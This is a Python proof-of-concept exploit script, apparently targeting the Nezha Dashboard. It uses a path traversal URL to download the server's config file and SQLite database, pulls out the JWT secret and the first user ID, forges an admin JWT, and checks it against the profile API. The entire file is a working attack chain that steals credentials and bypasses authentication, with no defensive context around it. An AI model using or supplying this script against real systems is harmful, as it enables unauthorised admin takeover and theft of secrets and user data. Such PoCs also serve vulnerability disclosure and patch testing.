#!/usr/bin/env python3 # Nezha Dashboard Path Traversal & JWT Forgery PoC # Usage: python3 exploit.py [optional_secret] [optional_user_id] import sys, os, re, json, time, hmac, hashlib, base64, sqlite3, urllib.request def b64(data): return base64.urlsafe_b64encode(data).rstrip(b"=").decode() if len(sys.argv) < 2: print(f"Usage: python3 {sys.argv[0]} [jwt_secret] [user_id]") sys.exit(1) url = sys.argv[1].rstrip("/") secret = sys.argv[2] if len(sys.argv) > 2 else None uid = sys.argv[3] if len(sys.argv) > 3 else None try: # Fetch Secret if not secret: print("[*] Downloading config.yaml via path traversal...") cfg = urllib.request.urlopen(f"{url}/dashboard%2e%2e/data/config.yaml", timeout=10).read() secret = re.search(rb'jwt_secret_key:\s*["\']?(.*?)["\']?(?:\r|\n|$)', cfg).group(1).decode() # Fetch User ID if not uid: print("[*] Downloading sqlite.db via path traversal...") db = urllib.request.urlopen(f"{url}/dashboard%2e%2e/data/sqlite.db", timeout=15).read() open("t.db", "wb").write(db) conn = sqlite3.connect("t.db") uid = str(conn.execute("SELECT id FROM users ORDER BY id LIMIT 1").fetchone()[0]) conn.close() os.remove("t.db") print(f"[+] Secret: {secret} | Admin ID: {uid}") # Forge JWT now = int(time.time()) h = b64(b'{"alg":"HS256","typ":"JWT"}') p = b64(json.dumps({"user_id": uid, "ip": "", "exp": now + 3600, "orig_iat": now}).encode()) s = b64(hmac.new(secret.encode(), f"{h}.{p}".encode(), hashlib.sha256).digest()) token = f"{h}.{p}.{s}" print(f"[+] Forged JWT:\n{token}\n\n[*] Verifying...") # Verify req = urllib.request.Request(f"{url}/api/v1/profile", headers={"Authorization": f"Bearer {token}"}) res = urllib.request.urlopen(req, timeout=10) print(f"[+] Success! Authenticated as Admin.\n{res.read().decode()}") except Exception as e: print(f"[-] Exploit failed: {e}")